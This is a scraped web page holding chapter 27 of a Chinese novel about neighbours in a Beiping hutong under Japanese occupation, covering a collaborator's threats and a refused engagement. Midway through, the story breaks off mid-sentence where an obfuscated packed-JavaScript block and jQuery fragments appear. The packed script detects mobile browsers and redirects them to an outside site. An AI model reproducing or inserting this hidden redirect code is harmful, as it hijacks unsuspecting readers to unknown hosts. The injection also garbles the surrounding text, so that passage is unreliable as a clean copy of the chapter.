默认冷灰
24号文字
方正启体

27. 第二十七章

作者:遥屿本书字数:K更新时间:
    马尾巴胡同口上,那比时光老人还更准时的酸梅汤摊子已近两年不曾现身了。乱离人不及太平犬,不知那雷打不动自制酸梅汤售卖的老人家是逃离北平返回故乡了,还是由于兵荒马乱与物资匮乏而改了行当。予珺怀恋那酸甜可口沁人心脾的美味,她捧着一盏温吞的清茶,闷坐枯思,许久也不曾呷上一口。


    “二姐姐在想什么呢?”经这一叫,予珺如梦初醒,循声望去,见是一袭月白底子缀紫斜纹竹布旗袍的唐淑珍,怀抱着闺女大源款款而至。予珺匆忙倒茶让座,笑着接过大源抱在怀中逗弄,边问淑珍道:“怎么今儿个有空儿上我这儿来啦?”淑珍坐定喝了口茶,笑向予珺说:“予寰近来让洋行里的事务结结实实拴住了,每天都回来得很晚,如今大源大生都长骨力了也不怎么用人,我闲待着也是一天,索性过来看看二叔二婶,也跟二姐姐说会儿话。”


    “谢你惦记着!大伯和大伯母都好啊?予寰如今这么出息,小日本鬼子欺软怕硬,万万不敢祸害洋行的事务。托你的福气,他如今又是儿女双全,大伯大伯母可算能安安泰泰地享享清福啦!”淑珍羞赧地垂首一笑,两片红霞映上脸颊,低眉顺眼间自有一番成熟韵致。“唐老板和夫人这一向可好?”予珺此言一出,淑珍那双好看的丹凤眼里瞬间“变了天儿”,弥漫升腾起一层浓郁的阴霾。


    “予珺姐姐有所不知,眼下年景不太平,上到官宦世家下至平民百姓,全没了置办红白喜事团聚热闹的兴致。轿行里的生意眼瞧着一天不如一天,有时候接连一个月都没客人上门呢。”“别说是永丰轿行这样有招牌有传承的老字号,到底瘦死的骆驼比马大。日本人一来,倒了多少做买卖的商号简直数也数不清了。淑珍,你可得劝着唐老板放宽心些,人这一辈子可不就是,三十年河东三十年河西。指不定哪年风水一流转,日本人滚出了北平城,咱们老百姓这日子也就全顺溜儿过来了。”


    予珺起身,洗了一盘黄里透青的山杏儿来,招呼淑珍说:“快尝尝这个,南苑的吕六叔前儿进城捎来的。原先他来家里一趟,咱们总有各样儿的山货杂粮打打牙祭,现如今地里的粮食全归了日本人,定时的就有日本兵打劫抢收。六叔一家仅剩下果腹的粗粮嚼裹,这些个青杏儿都不知他们一家老小是怎么打牙缝儿里节省下的呢!”


    淑珍拿起一颗杏子衔进嘴里,一股混合着泥土醇芳的酸涩之感刹时盈满唇齿之间,下肚后尚余些许清甜的回甘,满口生香,直入心脾。不谙世事的大源也模仿妈妈的样子,拾起一颗杏子,徒劳地用还没长牙的小嘴一下下啃着,逗得淑珍予珺忍俊不禁,笑逐颜开。正是午后昏昏欲睡的慵懒时刻,蝉鸣尚且稚嫩,穿越渐次伞盖成荫的杨树枝叶此起彼伏,仿佛也加入了予珺姊妹俩的闲谈,且言且笑,尽兴而聒噪。


    “说起来也有借着日本人进城加官进爵飞黄腾达的,”淑珍朝7号努了努嘴,“那天我和予寰回去娘家过节,正碰上姓晏的去轿行替日本人定轿子。他这走狗当得倒是风光,出价不菲,是轿行这三两年里难得一见的好买卖。可他要求轿子的一切规格用料全要照着前清皇帝的规制来,说是日本军部的长官要坐着巡游。爸一听这可就不乐意了。”予珺不觉蹙眉正色道:“日本人要坐皇帝的轿子巡游北平?新鲜了啊!这可真是肆无忌惮地欺负到咱们头上来了啊!摆明是要叫全北平的老百姓看看,他们日本人才是王者,是统治咱们的主子,那咱们岂不就成了亡国的奴才!?这……这也太……”


    “说的是啊二姐姐,爸当时就有意回了这桩生意不接,可姓晏的却认定永丰轿行的字号招牌不依不饶,话里话外地出言威胁。他如今正是日本人跟前得脸儿的红人,可着四九城搜捕不跟日本人一条心的学生,逮谁放谁,还不全凭他一句话的事儿?唉!爸爸没法子,到底忍气吞声接下了这单活计。可我看得出来他心里很不痛快,连见着大生大源这两个小不点儿都没了笑模样儿。我爸那个脾气予珺姐姐你是不知,心里头窝着火呢啊!


    予珺不觉长叹一口气,晏开泰仿佛一片挥之不去的厚重阴云,盘踞笼罩着整个儿马尾巴胡同。“生逢乱世身不由己,咱们还有什么话儿说呢,不求大富大贵,不过想着安安稳稳有口饭吃,挨过一天算一天吧,有这位晏局长同住在胡同里,街里街坊们谁不忌惮他几分。何况他一向属意晚秋,俗话说不怕贼偷就怕贼惦记,总叫他求而不得,难保他不生事害人。”“予珺姐姐是觉着,早先大哥被人拿了去,是晏开泰从中捣的鬼?难怪了,怎么好好儿的就有军警找上门来了,阿弥陀佛!亏得祖宗保佑,大哥到底逢凶化吉,平安无事。”予珺警觉地看了淑珍一眼,隔着桌子伸手轻轻抚上她的手背:“这事儿我也不很肯定,淑珍妹妹这话就只搁在心里头吧,千万别再往外露了,我怕招祸。”


    淑珍会意,喝了口茶又问道:“那大哥和聂小姐的婚事……放定了没有?”予珺轻声道:“八字都还没有一撇儿呢,两家长辈自然是没话说的,晚秋自小儿与我们一同长大,她自己心里也早认定了就是时家的人。只是我大哥……大哥他现在全然没心思考虑儿女情长的终身大事,他心里有更要紧的事情。”“是了,二姐姐,我也说不清个究竟所以然来,可就是觉着大哥跟聂小姐压根儿就是不是一家子人,这强扭的瓜不甜,硬要他们结成夫妇怕也难得好日子。大哥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835040|175636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和予寰,终究是不同的。”


    予珺不语,想起那天迎了大哥一起回家,刚巧儿遇上晚秋过来串门儿。予辰那一上午总有些心不在焉地恍惚,予珺心知他是惦记着中途离去的梓莼。晚秋心心念念了不知不少日子,好容易见着予辰,也欢喜得有些无措,一时又找不到话讲,只将似水含情的目光温温煦煦罩住了予辰的一身一体。吃了午饭,时庭林见予辰和晚秋难得碰在一处,便吩咐了予辰陪晚秋习字,聂老前几天才念叨过,说晚秋的小楷总欠些火候,予辰当年是聂老亲自开蒙,手把手教的习字,由他当先生给晚秋指点那是再好也没有的。


    予辰不好违拗父命,便硬拉了予珺在一旁研墨作陪。他耐着性子看晚秋在宣纸上一遍遍工笔楷书“予辰”二字,他既知晚秋心意,含笑温言道:“晚秋妹妹这小楷写得隽秀工整,笔力亭匀,原是绝佳的书法墨迹。只是我久已不写毛笔字了,为图便利省事儿,大都用自来水笔应付。所以,怕是也难指点你了。”晚秋只笑笑:“予辰哥哥最近都忙些什么?如今想见你一面也难了。”予辰坦然凝视晚秋双眸:“晚秋,你我自小一处长大,情同兄妹,我也一直把你当成自家妹妹一般,与珺儿没有分别。如今时代不同了,父母长辈的意思并不能左右你自己的人生,况且眼下国家有难民族垂危,我,我是无暇考虑婚姻与家庭的。晚秋,你是百里挑一的好姑娘,可有些话,我想我还是应该尽早同你讲说明白。”晚秋笔下骤然一顿,一尘不染的皓纸上登时落了个硕大的乌墨疙瘩,与此同时两团血红的火云迅疾覆上了她的双颊。晚秋咬了咬下唇,下定决心般昂首逼视予辰,很小声但决绝地问他:“予辰哥哥,你爽性明白告诉了我,你,你是不是有了人了?你当真与那个女学生相好了?”


    予辰一怔,旋即如释重负地微笑了:“不错,她从前是我的学生,现下是我并肩战斗的同仁与知己,她的名字叫梓莼。但是我与她,必是要等到有朝一日驱除鞑虏恢复中华以后,我们才考虑结婚成家。”予珺眼看着晚秋灼红如血的面颊一寸寸褪成煞白,大颗大颗眼泪珠子噗噗地砸在早已辨不出字迹的宣纸上,晕染弥漫成一幅光怪陆离的诡异图案……


    淑珍的告辞将予珺自回忆里拉回现实,窗外日影西斜,两人拉拉杂杂地闲聊,不觉就混过去了一下午。予珺将淑珍送到大街门口,正瞧见贾仕桢依里歪斜踉踉跄跄地奔胡同里走,淑珍慌忙闪进了6号,予珺转念间想到,可着整条马尾巴胡同,怕是唯独8号的贾家夫妇非但不腻歪晏开泰,反倒跟苍蝇见了粪般迫不及待往前凑,一想起他们那副涎皮涎脸的阿谀之态,予珺便难忍厌恶作呕,爆起满身的鸡皮疙瘩。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)